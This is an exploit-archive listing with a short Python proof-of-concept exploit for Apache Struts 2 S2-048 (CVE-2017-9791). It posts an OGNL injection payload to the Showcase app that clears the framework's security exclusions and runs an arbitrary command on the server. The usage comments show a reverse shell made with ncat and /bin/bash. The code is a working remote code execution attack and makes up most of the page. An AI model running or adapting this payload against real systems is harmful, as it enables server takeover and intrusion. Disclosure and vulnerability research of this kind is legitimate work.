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Apache Struts 2.3.x Showcase Remote Code Execution

Apache Struts 2.3.x Showcase Remote Code Execution
Posted Jul 14, 2017
Authored by Vex Woo

Apache Struts 2.3.x Showcase remote code execution proof of concept exploit.

tags | exploit, remote, code execution, proof of concept
advisories | CVE-2017-9791
MD5 | b127e7bfe5e4cb4867bb2f3d6c8b1d64

Apache Struts 2.3.x Showcase Remote Code Execution

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#!/usr/bin/python
# -*- coding: utf-8 -*-

# Just a demo for CVE-2017-9791


import requests


def exploit(url, cmd):
print("[+] command: %s" % cmd)

payload = "%{"
payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
payload += "(#_memberAccess?(#_memberAccess=#dm):"
payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
payload += "(#ognlUtil.getExcludedPackageNames().clear())."
payload += "(#ognlUtil.getExcludedClasses().clear())."
payload += "(#context.setMemberAccess(#dm))))."
payload += "(@java.lang.Runtime@getRuntime().exec('%s'))" % cmd
payload += "}"

data = {
"name": payload,
"age": 20,
"__checkbox_bustedBefore": "true",
"description": 1
}

headers = {
'Referer': 'http://127.0.0.1:8080/2.3.15.1-showcase/integration/editGangster'
}
requests.post(url, data=data, headers=headers)


if __name__ == '__main__':
import sys

if len(sys.argv) != 3:
print("python %s <url> <cmd>" % sys.argv[0])
sys.exit(0)

print('[*] exploit Apache Struts2 S2-048')
url = sys.argv[1]
cmd = sys.argv[2]

exploit(url, cmd)

# $ ncat -v -l -p 4444 &
# $ python exploit_S2-048.py http://127.0.0.1:8080/2.3.15.1-showcase/integration/saveGangster.action "ncat -e /bin/bash 127.0.0.1 4444"

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